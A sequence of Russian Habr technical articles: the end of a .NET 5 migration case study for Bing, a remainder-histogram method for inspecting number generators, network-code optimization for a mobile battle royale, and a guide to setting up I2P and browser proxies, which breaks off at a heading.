В течение довольно долгого времени XAP замечал длительные паузы в необычных местах при выполнении запросов - там, где для этого не существовало очевидных причин. С помощью команды CLR мы собрали трассировки и обнаружили, что пауза потока блокировалась механизмом обработки исключений, выполняющим дисковый ввод-вывод в некоторых очень специфических граничных случаях. Это была известная ошибка, но любопытно, что все релевантные стеки были от одного плагина, который выдавал исключения (и перехватывал их) почти при каждом запросе. С помощью событий ETW мы увидели, что это был самый большой источник исключений в процессе, и попросили владельца кода сделать проверку перед вызовом API, вызывающего исключения (это было тривиальным исправлением).
Как только команда партнеров была задействована для решения данной проблемы, загадочные паузы в потоках были устранены, и самый значительный источник наших запросов с большой задержкой был ликвидирован. Команда CLR с тех пор исправила [ошибку](https://github.com/dotnet/runtime/issues/35866). Этот график дает представление о влиянии этого исправления, показывая изменение процента запросов с очень высокой задержкой:
#### Изменения в GC
Большое изменение, которое помогло нам, касалось способа декоммитирования памяти. Это [изменение](https://github.com/dotnet/runtime/pull/35896) переместило процесс декоммита из паузы GC для серверного GC и внесло ряд других изменений с целью улучшения производительности.
### Стек HTTP
Одна из самых сложных областей перехода была в клиентском стеке HTTP. В целом по миру наш HTTP-плагин вызывается партнерами более 7,5 миллионов раз в секунду. .NET Framework и .NET Core имеют очень разные стеки HTTP-клиентов. Учитывая, что одной из важных целей было создание единой кодовой базы и возможность перехода между Framework и Core с помощью перезапуска процесса, предстояло решить очень важную проблему.
В .NET Framework мы полагались на функциональность `ServicePointManager` и `WebRequestHandler`, которых нет в .NET Core. Сначала было рекомендовано перейти на `WinHttpHandler`, но в этом классе отсутствуют многие функции, на которые мы рассчитывали. Переход на него обернулся проблемами с производительностью, поскольку некоторые бэкенд-команды в Bing реализовали балансировку нагрузки, которую невозможно было достичь с помощью `WinHttpHandler`. В итоге оказалось, что `SocketsHttpHandler` доступен только для .NET Core.
Вкратце нашу ситуацию можно отразить в следующей таблице:
Мы не хотели переходить на `WinHttpHandler` и оказаться при этом в не самой лучшей ситуации. В итоге был создан интерфейс HTTP, который динамически загружал `WebRequestHandler`, либо `SocketsHttpHandler`, в зависимости от используемой среды выполнения. Оба эти класса обладают схожей функциональностью, но не имеют общего интерфейса, поэтому был разработан свой собственный.
Кроме того, в .NET Framework некоторые параметры TCP устанавливаются в рамках всего процесса через ServicePointManager, а в .NET Core они устанавливаются на объекте `SocketsHttpHandler`. Это означало использование большего количества условного кода в приложении.
#### Масштабирование инженерных усилий
Из-за бинарной природы многих частей этого масштабного проекта было легко полностью заблокировать его, особенно на ранних стадиях. Например, пока ожидалось перемещение библиотек C++/CLI в P/Invoke, приходилось работать только над теми вещами, которые, как мы знали, должны быть изменены. Не было возможности реально запустить ApplicationHost и протестировать его или посмотреть, что еще не работает. Таких проблем было много. Конечно, одновременно велась и другая работа, например, создание автоматизированных систем для анализа кода наших партнеров.
#### Заключение
В целом, в сценарии XAP .NET 5 демонстрирует значительное улучшение производительности по сравнению с .NET Framework . Несмотря на то, что предстоит еще много работы, общая картина ясна: .NET 5 феноменально превосходит .NET Framework по большинству параметров.
Мы надеемся, что уроки, извлеченные из миграционного опыта XAP, помогут другим командам в Microsoft и отрасли в целом при рассмотрении вопроса о миграции на .NET 5 и далее.
Все коды на изображениях для копирования доступны [здесь](https://devblogs.microsoft.com/dotnet/migration-of-bings-workflow-engine-to-net-5/#conclusion).
---
*В преддверии старта курса* [*C# Developer. Professional*](https://otus.pw/w75eP/) *приглашаем всех желающих на* [*бесплатный демоурок*](https://otus.pw/plI8/) *в рамках которого мы рассмотрим полезные нововведения в C# 9.0 и .NET 5.0, разберем на примерах как они работают, обсудим насколько они улучшают код, а также их применимость в production проектах.*
* [**УЗНАТЬ О КУРСЕ ПОДРОБНЕЕ**](https://otus.pw/w75eP/)
* [**ЗАПИСАТЬСЯ НА ДЕМОУРОК**](https://otus.pw/plI8/)
> *Материал переведен.* [*Ссылка на оригинальную статью*](https://devblogs.microsoft.com/dotnet/migration-of-bings-workflow-engine-to-net-5/)
>
> | https://habr.com/ru/post/565464/ | null | ru | null |
# Анализируем числовые последовательности
Иногда, если имеешь дело с числовыми последовательностями или бинарными данными, возникает желание “пощупать” их, понять, как они устроены, подвержены ли сжатию, если зашифрованы, то насколько качественно. Если речь идет о генераторах псевдо-случайных чисел, хочется знать, насколько они псевдо и насколько случайны.
В самом деле, что тут можно придумать, ну … матожидание, дисперсию посчитать или гистограмму какую построить…
Сейчас мы рассмотрим метод, позволяющий снимать, своего рода, отпечатки пальцев с числовых последовательностей.
* Пусть у нас есть генератор целых чисел, способный выдавать их достаточно много (10 000 000 в нашем случае).
* Выберем размер отпечатка, который сейчас будем “катать”, пусть Sz=1024
* Выделяем и обнуляем память для целочисленной двумерной квадратной матрицы размером Sz: Hists[Sz][Sz]
* Вычитываем из генератора числа и для каждого из них (Val) организуем цикл
```
for (size_t ix = 1; ix <= Sz; ix++)
{
size_t histix = Val % ix;
Hists[ix-1][histix] ++;
}
```
Т.е. мы строит гистограммы остатков от деления входных значений на все числа в пределах выбранного размера отпечатка Sz.
* После прогона достаточного количества сгенерированных значений, у нас есть двумерная гистограмма остатков от деления на все числа в выбранном диапазоне. Отметим, что эта гистограмма не зависит от порядка, в котором генератором выдаются значения. С другой стороны, мы могли бы скармливать гистограмме не сами значения, а их отличия от предыдущего, например, тогда и порядок был бы частично учтен
* Далее мы выводим полученную гистограмму в удобном для просмотра виде (здесь использован **gnuplot** в режиме ‘**pm3d map**’) и любуемся открывшейся картиной. Стоит отметить, что в выдачу попадает не значение из Hists[ix][[iy], а скорректированное с учетом вероятности попадания (Hists[ix][iy]\*(ix+1)/Sz)
Итак, начнем. А начнем мы со стандартного С-шного генератора rand:
Ожидаемо, гистограмма получилась треугольная и плоская, но… а что это за странные полоски?
Рассмотрим подробнее.
Похоже, этот генератор выдает не очень случайные числа. Ну что же, я всегда подозревал, что использование rand() в качестве генератора случайных чисел — “это верный признак дурного человека”(С).
Пожалуй, стоит посмотреть на “правильный” генератор случайных чисел. В качестве такового мы будем использовать оный, любезно предоставленный как-то Юрием Ткачевым.
На первый взгляд выглядит неплохо. Присмотримся к этой гистограмме.
Да, это как раз то, что мы и ожидали получить от генератора случайных чисел. Попробуем немного пошевелить данные, будем учитывать только младшие 24 бита.
Ничего не изменилось, но ведь именно это мы и хотели увидеть. Еще эксперимент, на этот раз мы будем склеивать куски по 24 бита из двух последовательных чисел, выданных нашим замечательным генератором.
И опять никаких отличий! Просто великолепно!
Последняя попытка, на этот раз мы будем не склеивать 24-битовые куски, а перемножать их.
Бац! И такое ощущение, что из нашего генератора случайных чисел вылезло его псевдо-нутро.
То же, но в в другом масштабе:
Ой-ой “сказали мы с Петром Ивановичем”(С).
Чтобы перевести дух и выиграть время для осмысления произошедшего, посмотрим, как выглядят данные другого рода:
Вот это первые 10 млн 64-разрядных целых чисел, вычитанных из файла — образа базы данных.
А вот так выглядят полученные таким же образом данные, источником которых служил zip-файл.
Это было бы похоже на случайные данные, но вертикальные полоски всё портят.
Так вот, пока внимательный читатель забавлялся чтением данных из файлов, автор решил посмотреть как ведут себя очень даже неслучайные последовательности. Начнем с F(n) = F(n-1) + 1 т.е. 0, 1, 2, 3…
Гистограмму самой последовательности и смотреть не будем, она треугольная и совершенно плоская, что интуитивно понятно и легко объяснимо. В самом деле, поскольку в наш метод не заложен порядок, такая последовательность ведет себя как идеальный генератор случайных чисел, который равновероятно заметает весь диапазон.
А вот распределение произведения из двух чисел, каждое от 0 до 4000 выглядит так:
Очень знакомая картинка, не правда ли. Фактически, мы видим эталонный образец гистограммы произведения двух чисел.
В одном месте сошлись **произведение** и **остатки от деления**.
Довольно незатейливым образом мы вытащили из под полы магию чисел.
А вот так ведет себя последовательность F(n) = n \* n т.е. 0, 1, 4, 9…
А здесь F(n) = 2 \* n \* ( 2 \* n + 1) т.е. 0\*1, 2\*3, 4\*5…
Ну и напоследок автор не смог удержаться от показа распределения первых 10 млн простых чисел.
И их “слепка” — первых 10 млн непростых чисел (просто красиво).
Что ж, будьте бдительны и “всегда, нет, никогда”(С) не перемножайте последовательности:).
PS. Отдельную благодарность автор выражает Александру Артюшину за деятельное обсуждение subj. | https://habr.com/ru/post/183786/ | null | ru | null |
# Батлрояль за 2 месяца: как мы обновили сетевой код и на 20% сократили траты на сервера
Оптимизация сетевого кода онлайн-шутера — это не только экономия на серверах и трафике, но еще и создание комфорта для игроков. Она особенно важна, когда на одной карте встречается огромное количество пользователей как, например, в батлрояле на 100 человек.
В этой статье расскажу о том, как мы обновили сетевой код для собственной королевской битвы на Unity, ввели систему сетевых чанков, контролируемый рандом и в результате сократили траты на сервера на 20%.
Для тех, кто не читал [предыдущую статью](https://habr.com/ru/company/lightmap/blog/563976/) про создание карты и оптимизацию графической части, коротко опишу ситуацию.
Мы успешно развивали наш мобильный PvP-шутер, интегрировали фичи, о которых просили пользователи, наращивали аудиторию, все было хорошо и безоблачно. Но одним утром, взглянув на статистику, наш аналитик попросил стакан холодной воды и священника. Мы потеряли 30% онлайна за день — так отразился выход Fortnite на мобильные платформы. Батлрояли захватили сознание игроков, и мы поняли, что нужно срочно браться за разработку собственной реализации режима.
Мы хотели сделать королевскую битву со всеми классическими атрибутами жанра: до 100 игроков прыгают с самолета, лутаются, сражаются и спасаются от сужающейся зоны, а последний оставшийся в живых — побеждает.
Времени на обычный пайплайн (гипотеза-концепт-тз-разработка) у нас не было, поэтому после короткого, но основательного планирования, все отделы начали параллельную разработку. Нужно было как можно быстрее получить играбельный прототип, и буквально через пару недель он оказался у нас на руках.
Раньше максимальный размер сетевой комнаты не превышал 10 игроков, а когда их стало 100, система «каждый игрок отправляет все сетевые события всем игрокам» стала проблемой. Мы быстро поняли, что косты на сервера взлетят до небес, а мобильное соединение просто забьется и не позволит пользователям играть с LTE и 3G.
В итоге мы провели полную ревизию сетевого кода (обновили его даже для старых режимов), внедрили систему чанков и контролируемый рандом для некоторых геймплейных аспектов. Например, у нас около 1000 возможных вариантов сужения зоны, и ни одной ситуации, когда катка заканчивается где-то в воде.
PUBG, сужение зоны в водеСпойлер: получилось даже лучше, чем изначально планировалось. Игроков не дисконнектит, трафик в батлрояле сравним с трафиком в обычном дезматче, а траты на сервера сократились на 20%.
Теперь по пунктам.
### Оптимизация кода
Для обмена сетевыми сообщениями между игроками мы используем Photon Cloud. Разумеется, весь сетевой код и код персонажа взяли прямиком из наших классических игровых режимов. Предполагалось, что батлрояль станет популярным, а значит потянет за собой значительное увеличение трафика, пересылаемого между пользователями. Была вероятность, что мобильная сеть перестанет справляться и игроков начнет часто отсоединять от комнат.
Для начала оптимизировали всю сетевую часть и везде, где возможно, заменили float и int на byte. Например, все места с перечислением, где объектов не могло быть больше 255. Float от 0 до 1 тоже приводим к byte и уже на клиенте расшифровываем.
Провели полную ревизию RPC и потоков (Streams) и удалили все лишнее. Например, у нас был неиспользуемый отправляющийся RPC, который отсылался с каждым выстрелом и должен был отвечать за отображение дульного пламени. Где-то сократили количество отправляемых переменных, а где-то полностью переработали структуру данных.
Оптимизации были направлены на все существующие сетевые сообщения, что в итоге привело к снижению нагрузки во всех режимах игры.
### Сетевые чанки
Но оптимизация кода существующих сетевых сообщений была не единственной задачей.
У нас на карте 100 игроков, при этом есть пушки, стреляющие снарядами (проджектайлами), а не просто патронами, которые лишь передают информацию о попадании. Например, летящая с определенной траекторией и скоростью ракета должна одинаково отображаться для всех игроков. Если игрок на одном конце карты выстрелит из такой ракетницы, то абсолютно все будут получать информацию о ее позиции. А если ракетница скорострельная и игроков с ней много, то это сгенерирует кучу трафика.
При условии, что такие выстрелы на расстоянии больше 400 метров не всегда видны (точнее, не видны почти всегда), решили оптимизировать сетевые сообщения удаленных от игрока объектов.
В [предыдущей](https://habr.com/ru/company/lightmap/blog/563976/) статье я рассказал, как мы сделали систему чанков для оптимизации графики. Это такие квадратные зоны 200 на 200 метров, на которые разбивается вся карта батлрояля — они помогают оптимизировать подгрузку объектов и улучшить производительность. Например, объекты в квадрате, где находится игрок, отрисовываются в максимальном разрешении. В соседних — тоже, а вот следующий ряд квадратов — будет уже в половинчатом разрешении.
Сетевые взаимодействия решили оптимизировать по той же логике. Разбили карту сеткой 15 на 15 и получили 225 чанков. Игроки стали обмениваться информацией только из соседних чанков, не получая бесполезные данные о происходящем на другом конце карты.
Сетевые чанкиКаждому игроку присваивается чанк, исходя из его позиции в игровом мире:
```
public int GetChunkByPosition(Vector3 position)
{
Vector3 delta = position - chunksTransform.position;
int chunkX = Mathf.Clamp((int)(delta.x / chunkSizeX), 0, chunksWidth);
int chunkY = Mathf.Clamp((int)(delta.z / chunkSizeY), 0, chunksHeight);
return chunkX + chunkY * chunksHeight;
}
```
За каждым чанком закреплен определенный Interest Group в Photon (индекс чанка + 1), а нулевая группа остается для всех игроков. Когда игрок переходит в другой чанк, то подписывается на него и на соседние — и тогда начинает получать сетевые сообщения, отправленные только в них.
Игрок синхронизирует свой чанк между всеми игроками и устанавливает принадлежащие ему и соседним чанкам группы для прослушивания по сети через метод PhotonNetwork.SetInterestGroups. Все принимаемые игроками рядом сообщения отправляются группе, которая соответствует текущему чанку.
Код получения соседних чанков:
```
public List GetNeighbourChunks(int chunk, int rad)
{
neighbourChunksBuffer.Clear ();
if (chunk == -1)
return neighbourChunksBuffer;
int cx = chunk % chunksHeight;
int cy = chunk / chunksHeight;
int dist = rad \* 2 + 1;
for (int rx = 0; rx < dist; rx++)
{
for (int ry = 0; ry < dist; ry++)
{
int ncx = cx - rad + rx;
int ncy = cy - rad + ry;
if (ncx >= 0 && ncx < chunksWidth && ncy >= 0 && ncy < chunksHeight)
{
neighbourChunksBuffer.Add (ncx + ncy \* chunksHeight);
}
}
}
return neighbourChunksBuffer;
}
```
При этом самые важные сообщения (например, информация для киллфида) пересылаются между всеми игроками вне зависимости от места их нахождения.
Такая система позволила сократить самые тяжелые по трафику вещи вроде передвижения, позиций игроков, стрельбы и так далее — все это стало синхронизироваться внутри нужных чанков.
Так мы ощутимо урезали количество сетевых сообщений. Каких-то конкретных замеров не делали, просто изначально знали, чем все обернется без правильной системы чанков. Главным показателем стало отсутствие изменений общей статистики по трафику после релиза батлрояля — расход в комнатах с 10 игроками примерно сопоставим с трафиком в комнатах на 100.
### Сценарии для клиентов
Другой шаг для оптимизации сетевой части был сделан с помощью специальных сценариев. Чтобы снизить количество передаваемой информации по сети, мы пошли на хитрость и часть данных переложили на клиенты.
Например, на карте рандомится около 800 точек с лутом, за каждой из которых закреплена конкретная модель оружия. Это огромное количество данных, которое пришлось бы рассылать всем 100 игрокам. Такой вариант синхронизации спавна лута нас не устраивал, и мы нашли способ лучше.
При создании комнаты (игрового лобби), в ее свойствах записывается уникальное «зерно» для генерации сценария. При подключении к комнате каждый игрок достает его из настроек, и затем на всех клиентах одинаково генерирует «случайный» сценарий. По сути, сто игроков производят одни и те же вычисления отдельно на своих устройствах.
Таким образом, мы не пересылаем огромное количество информации, а каждый клиент с помощью такого контролируемого рандома генерирует тот же самый результат.
Код генерации сундуков с помощью «зерна»:
```
System.Random random = new System.Random (seed);
for (int l = 0; l < points.Length; l++)
{
for (int i = 0; i < points[l].chests.Length; i++)
{
if (!GadgetsInDrop && points[l].chests[i].typeChest == ChestBatleRoyale.TypeChest.Gadget)
continue;
int pointIndex = random.Next(0, points[l].points.Length);
while (points[l].points[pointIndex].isUsed)
{
pointIndex++;
if (pointIndex >= points[l].points.Length)
{
pointIndex = 0;
}
}
points[l].chests[i].transform.position = points[l].points[pointIndex].transform.position;
points[l].points[pointIndex].isUsed = true;
int summProbability = 0;
for (int k = 0; k < probabilityByType[(int)points[l].chests[i].typeChest].Length; k++)
{
summProbability += probabilityByType[(int)points[l].chests[i].typeChest][k];
}
int raritybonusRand = random.Next(1, summProbability + 1);
summProbability = 0;
int raritybonusIndex = 0;
for (int k = 0; k < probabilityByType[(int)points[l].chests[i].typeChest].Length; k++)
{
summProbability += probabilityByType[(int)points[l].chests[i].typeChest][k];
if (summProbability >= raritybonusRand)
{
raritybonusIndex = k;
break;
}
}
if (weapons.Length > raritybonusIndex)
{
int weaponIndex = random.Next(0, weapons[raritybonusIndex].Length);
points[l].chests[i].weaponBonusName = String.Format("Weapon{0}", weapons[raritybonusIndex][weaponIndex]);
points[l].chests[i].typeItem = ChestBatleRoyale.TypeItem.Weapon;
}
else
{
int gadgetIndex = random.Next(0, gadgets.Length);
points[l].chests[i].weaponBonusName = String.Format("gadget_{0}", gadgets[gadgetIndex]);
points[l].chests[i].typeItem = ChestBatleRoyale.TypeItem.Gadget;
}
if (GadgetsInDrop && points[l].chests[i].typeChest == ChestBatleRoyale.TypeChest.AirDrop)
{
ChestBatleRoyale.AdditionalItem additionalItem = new ChestBatleRoyale.AdditionalItem();
int gadgetIndex = random.Next(0, gadgets.Length);
additionalItem.weaponBonusName = String.Format("gadget_{0}", gadgets[gadgetIndex]);
additionalItem.typeItem = ChestBatleRoyale.TypeItem.Gadget;
points[l].chests[i].AddListAdditionalBonus(new List() { additionalItem });
}
}
}
```
Также «зерно» используется для генерации пути шаттла, на котором летят игроки в начале матча и сужающейся зоны батлрояля.
Про зону расскажу отдельно. Изначально было два пути: сделать полностью рандомно или сценарно. Выбрали второй вариант, чтобы избежать неинтересных игровых ситуаций, как в PUBG, когда финальная зона находится в воде. Поэтому решили конечные и промежуточные зоны назначить вручную и написали отдельный редактор сценариев сужения.
Как это работает: есть пять начальных зон, а дальше зоны меньше, еще меньше и так до самой маленькой. Если меньшая зона находится внутри большей, то она может быть выбрана, как следующая. На карте получилось множество зон разного размера, но выбирается все случайным образом.
Пример карты зонВсе варианты зон настраиваются в сцене с визуализацией радиусов. В итоге получилось около 1000 разных сценариев сужения, поэтому паттерн разглядеть невозможно. Теперь мы вообще не передаем между клиентами состояние зон и места их нахождения, потому что каждый клиент об этом уже знает.
Код выбора зон с помощью «зерна»:
```
public void SelectRandomZones(int seed)
{
System.Random random = new System.Random (seed ^ zoneSeed);
selectedZones = new MapSafeZone[zoneParameters.Length];
Transform currentChild = transform;
for (int i = 0; i < selectedZones.Length; i++)
{
if (transform.childCount == 0)
break;
int randomChild = random.Next (0, currentChild.childCount);
Transform newChild = currentChild.GetChild (randomChild);
if (newChild == null)
break;
MapSafeZone zone = newChild.GetComponent();
selectedZones [i] = zone;
currentChild = newChild;
}
}
```
У нас есть таймер в комнате, который знают все клиенты — от него зависит состояние всех зон. Нет никакой пересылки, есть лишь сгенерированный сценарий по «зерну» и таймер. Так мы и понимаем, когда нужно сужать зону.
Такая система сценариев с «зерном» избавила нас от пересылки большого количества информации и помогла устранить задержки сети.
### Релиз
Наш батлрояль вышел примерно через два месяца после старта разработки, и буквально за неделю отыграл значения одновременного онлайна, которые были до падения — около 60 тысяч CCU. Пошла плотная работа с комьюнити, ASO, маркетингом, рекламными материалами. Стали везде пушить, что в игре появился батрояль, дописали слово в название игры в сторе, отредактировали описание и так далее.
На релизе в режим ежедневно играла четверть аудитории — около 250 тысяч игроков. Сейчас это число составляет около 150 тысяч, потому что от классического батлрояля уже все устали. Тот же Fortnite добавляет одиночные миссии, социальные режимы, свободный крафт.
Мы в свою очередь каждый сезон редизайним карту в зависимости от тематики обновления или просто крупных изменений. Например, у нас была карта «Летающая крепость», которая не нравилась игрокам. Ее удалили из игры и разбросали обломки по карте батлрояля, будто она рухнула на землю.
Из-за снижения популярности режима, мы на основе батлрояля параллельно развиваем фриплей. Это что-то вроде GTA Online с тачками и свободным перемещением.
Оглядываясь назад, у нас батлрояль мог появится еще задолго до PUBG и Fortnite — в Pixel Gun 3D уже на старте самым популярным был режим «голодные игры», вдохновленный одноименным фильмом. В нем игроки начинали не в самолете, а в центре карты, затем разбегались и лутались. Но была проблема — игроки потом не могли встретиться друг с другом. Сужающаяся зона устранила бы этот недостаток, но тогда мы решили сосредоточиться на классических режимах. Потом появились современные батлрояли, а дальше вы знаете.
Не всегда получается разглядеть хорошую возможность и тренд, который скоро взорвет рынок — в этом мы пытались разобраться в [отдельном](https://habr.com/ru/company/lightmap/blog/556886/) материале. | https://habr.com/ru/post/568848/ | null | ru | null |
# Цензура в интернете. Когда базовых мер недостаточно — I2P
В [прошлой статье](https://habr.com/ru/post/543202/) я рассказал, какие выкрутасы можно сделать одним только браузером. Нам потребуются эти знания далее
Жаркий август 2020 показал, что базовые меры — это слишком мало и неэффективно. Нужно что-то большее
Выбирая решение, я ставил перед собой несколько целей:
1. Решение должно быть открытым
2. Решение должно быть бесплатным — только так оно может стать массовым
3. Решение должно быть децентрализованным — не должно быть единой точки отказа
4. Бомж-VPN. Хотелось иметь возможность соединиться с любым узлом сети забесплатно
5. Бомж-хостинг. Следствие предыдущего пункта. Возможность выкатить тестовый ресурс забесплатно
VPN отвалился сразу: даже рабочий VPN умер. VPN требует централизованного внешнего сервера — единая точка отказа. Наконец, VPN платный — не назвал бы лично себя нищебродом, но это точно не массовый вариант
TOR я пока что не рассматривал. Это вполне жизнеспособное решение, но у меня отсутствует экспертиза. В комментарии вызываю пояснительную бригаду о сильных и слабых сторонах реальной эксплуатации TOR. [Сравнение сетей I2P и TOR](https://geti2p.net/ru/comparison/tor)
Я начал осваивать I2P. Идея мне показалась симпатичной. Особенно интересно, что сеть не просто выдержит резкий рост числа пользователей — она от этого станет работать лишь надёжнее (но это не точно). На лурке [очень вдохновляющее описание возможностей](https://lurkmore.to/I2P), а wiki [спускает с небес на Землю](https://ru.wikipedia.org/wiki/I2P) и даёт понять, что I2P — не серебряная пуля, и атаки по деанонимизации — реальность. Сложно и дорого, но реально. Для сравнения, без I2P — это как по паспорту представиться и приготовиться к обыску
### Возможности, ограничения и болячки
Точно так же, как и в сети TOR, в сети I2P есть выходные ноды. Это значит, что через сеть I2P можно пролезть в обычный интернет. Однако следует понимать, что скорость работы оставляет желать лучшего — потоковое видео через I2P смотреть так себе идея
Интересно, что из сети I2P можно достучаться до нод TOR. Это мы обязательно настроим
I2P не ограничивает себя каким-то протоколом. Вместо этого сеть предоставляет среду передачи данных. Я пробрасывал через сеть I2P соединение с базой данных. Туннели I2P позволяют пробросить любой ресурс, таким образом сделав его доступным для использования любыми программами. Если кто-то не знаком с туннелями — идея проста и состоит в том, чтобы для некоторого открытого порта на удалённом сервере открыть порт на своей машине, и в дальнейшем любой локальной программой подключаться к локальному порту, что точно умеет любая программа, а тонкостями переноса байтов на тот порт удалённой машины и обратно занимается уже туннелирующая программа ([частный случай туннеля](https://wiki.colobridge.net/%D1%81%D1%83%D0%B1%D0%B4/%D0%B4%D0%B8%D1%81%D1%82%D0%B0%D0%BD%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BA_%D0%B1%D0%B4_mysql_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%BE%D0%BD%D0%BD%D0%B5%D0%BB%D1%8C_ssh)).
Следствия туннелей — бомж-VPN и бомж-хостинг. Я счастлив — я могу выкатить ресурс бесплатно. Я могу соединить 2 машины бесплатно. Любой другой участник сети может сделать всё то же самое бесплатно. Вкусно
Функционировать сеть сможет, даже если шаловливые ручки вновь потянутся к Большому Рубильнику — белорусские реалии именно такие, он [существует](https://oac.gov.by/)
Больным местом является изменение маршрутов (следовательно, dest hash). Но я надеюсь, что проблема решаема — существует версия для Android, которая подразумевает переход между сетью оператора и разными точками доступа wifi, а в настройках роутера появился экспериментальный «Laptop Mode»
### Ошибки и заблуждения
Я заметил несколько шаблонов заблуждений
#### Ой, мне по телевизору сказали, что в этом вашем i2p такое показывают! Это вообще законно?
Больше верьте слухам. Ничего там нет такого, чего нет в обычном интернете. I2P ставит своей целью среду передачи данных. Протоколы TCP и UDP, передают более чем 99% информации в интернете, включая незаконный контент. Давайте бороться с контентом, а не транспортом его доставки
#### Как интернет отключат — обязательно установлю
И будешь куковать, пока сеть не восстановится. I2P — не магия для обхода цензуры, а вполне реальная оверлейная сеть ~~из плоти и крови~~, которая получает информацию о других участниках сети только во время своей работы
#### Хорошо, я установил, запустил, что-то потыкал — и выключил. Как только интернет выключат — ух держите меня семеро! Включу I2P — и всё у меня станет расчудесно!
Та же проблема. С высокой вероятностью, тебе не удастся найти вообще никого из тех, с кем ты ранее устанавливал соединение. Запусти I2P как службу — пусть висит себе в фоне. Она есть не просит (ну кроме памяти). Только так ты встретишь час Ч в готовности
#### Я на минуточку. Туда и назад
Узлы, часто разрывающие соединения с другими участниками сети, по сложившейся традиции ~~получают в жбан~~ попадают в бан-листы. Не стоит возводить это правило в абсолют, просто желательно, чтобы служба работала в фоне. Не дёргайте её на каждый чих — она не кусает и есть не просит
Ну и совсем кошерная остановка службы I2P — это в консоли роутера нажать кнопочку «Shutdown» / «Выключить». Демон I2P остановися сам в худшем случае через 10 минут — как только истекут уже установленные соединения с другими участниками сети i2p
Кнопки «Restart» / «Перезапуск» и «Shutdown» / «Выключить» находятся на скриншоте в нижнем левом углу### Установка на desktop
Состоит из двух обязательных частей — установки шлюза (inproxy) и настройки браузера (лайт или пожёстче — выбираем сами на свой вкус). Важно выполнить оба этапа, по отдельности они не имеют смысла
#### Установка шлюза
На [оффициальном сайте проекта](https://geti2p.net/ru/download) есть список загрузок — можно взять оттуда
В этом же списке присутствует секция «[Пакеты для Debian/Ubuntu](https://geti2p.net/ru/download/debian)»
После установки пытаемся открыть <http://localhost:7657/> — web-консоль роутера. Настоятельно рекомендую добавить страницу в закладки или даже закрепить (Pin Tab). Если страница открылась — вы всё сделали правильно
#### Настройка браузера. Лайт
В данном случае мы исходим из предположения, что вы не делаете ничего плохого, и просто желаете получить доступ к информации, которая огорчила ваше правительство. А правительство, словно плаксивая девочка, склонно обижаться на любую информацию. Например, в России заблокирован linkedin. Жутко опасный и экстремистский ресурс, ага
В данном случае нас не пугают утечки информации. Например, сайт в сети i2p может запрашивать какой-нибудь jquery с CDN. Что такого в js-библиотеке, которую запрашивают миллионы, если не миллиарды раз в день?
Мы предполагаем, что не делаем ничего плохого, и нас не интересует сайт-приманка товарища майора Василия Мусорова с какой-то жестью, который загружает ресурсы напрямую в обход I2P или TOR по абсолютным ссылкам, выдавая ваш реальный IP-адрес. Оригинал изображения искать где-то тут: http://vasya-lozhkin.ru/pictures/. Я не нашёл =(Для настройки нам потребуется дополнение [SmartProxy](https://habr.com/ru/post/543202/#smartproxy-begin). Настройка производится в 2 простых шага — необходимо добавить входной шлюз I2P в список proxy-серверов и создать правила проксирования
Добавляем входной шлюз I2P в список proxy-серверовСоздаём правила проксирования для i2p-сайтовСоздаём правила проксирования для onion-сайтов#### Настройка браузера. Для любителей пожёстче
Паранойя может затребовать гарантий отсутствия утечек. Из наличия паранойи не следует, что мы кинемся смотреть упомянутый ранее сайт товарища майора Василия Мусорова. Настройка проводится в несколько простых шагов
У меня нет лишнего браузера в системе, чтобы полностью выделить его под I2P. Воспользуюсь уже установленным firefox. Следующий вариант работает в Linux:
```
FIREFOX_PROFILE="firefox-i2p"
FIREFOX_HOME="${HOME}/${FIREFOX_PROFILE}"
mkdir -p "$FIREFOX_HOME"
env HOME="$FIREFOX_HOME" firefox
```
То есть идея проста: заставить firefox работать с полностью чистым профилем, который никак не повлияет на основной, и который мы сможем снести при первых же намёках на проблемы, как дедушке яичко. Какие бы мы туда дополнения ни ставили, какие бы настройки там не делали — основным профилем можно будет продолжать пользоваться
У меня нет ни одной машины с Windows и MacOS. В комментариях, пожалуйста, расскажите, как сделать похожий финт ушами в Windows. А в MacOS этот фокус должен сработать, но я не тестировал
Открываем настройки и находим «Network Settings» / «Настройки Сети»И указываем входной шлюз I2P### Установка на Android
Суть ровно та же, но инструменты немного другие
#### Установка шлюза
На всё той же [странице загрузок](https://geti2p.net/en/download) есть секция «Android»
Секция загрузок для Android#### Настройка браузера. Лайт
Находим в менеджере дополнений FoxyProxy и устанавливаемПереходим в его настройки, нажимаем «Добавить»Указываем адрес шлюза, листаем вниз и жмём «Сохранить»И добавляем шаблоны для всего домена i2p и onionВ настройках FoxyProxy убеждаемся, что он включен### Рецепты по настройке
Я расскажу про несколько опциональных шагов
#### DNS-over-HTTPS
Для тех, что не читал [предыдущую статью](https://habr.com/ru/post/543202/#firefox-and-doh): необходимо добавить **i2p** и **onion** в исключения. Иначе браузер будет пытаться резолвить эти домены на Cloudflare с предсказуемым результатом
#### I2P + uBlock Origin
[Мы умеем учиться на ошибках](https://www.opennet.ru/opennews/art.shtml?num=54621), поэтому добавим в исключения зоны i2p и onion, таким образом полностью отключив блокировщик рекламы для всех ресурсов i2p и onion
Открываем настройки uBlock OriginДобавляем в uBlock Origin исключения для доменов i2p и onionСтало лучше, чем было, но не идеально — теряется контроль над загрузкой стороннего контента (3rd party). Хотелось бы только отключить резолв имён i2p и onion
#### Дополнительные подписки
В [список подписок](http://localhost:7657/susidns/subscriptions) есть смысл добавить адреса:
1. http://stats.i2p/cgi-bin/newhosts.txt
2. http://identiguy.i2p/hosts.txt
3. http://isitup.i2p/alive-hosts.txt
4. http://reg.i2p/export/hosts.txt
5. http://inr.i2p/export/alive-hosts.txt
#### Покорми java памятью
Входной шлюз I2P написан на языке java. По умолчанию он стартует с ограничением в 128M. Этого хватит для знакомства и неспешного погружения в дивный новый мир невидимого интернета. Больше всего памяти потребляет компонент NetDB — база данных о других хостах сети I2P. Чем их больше известно, тем выше надёжность и тем выше вероятность, что в час Ч, когда интернет снова сдохнет, Вам таки удастся найти лазейку — доступный хост из списка известных. Правда, гарантий никаких
В случае Ubuntu/Debian:
```
sudo dpkg-reconfigure i2p
```
Как это сделать для Windows — я не знаю и очень надеюсь на комментарии
#### Когда нельзя открыть порт меньше 1024, но очень хочется, то можно
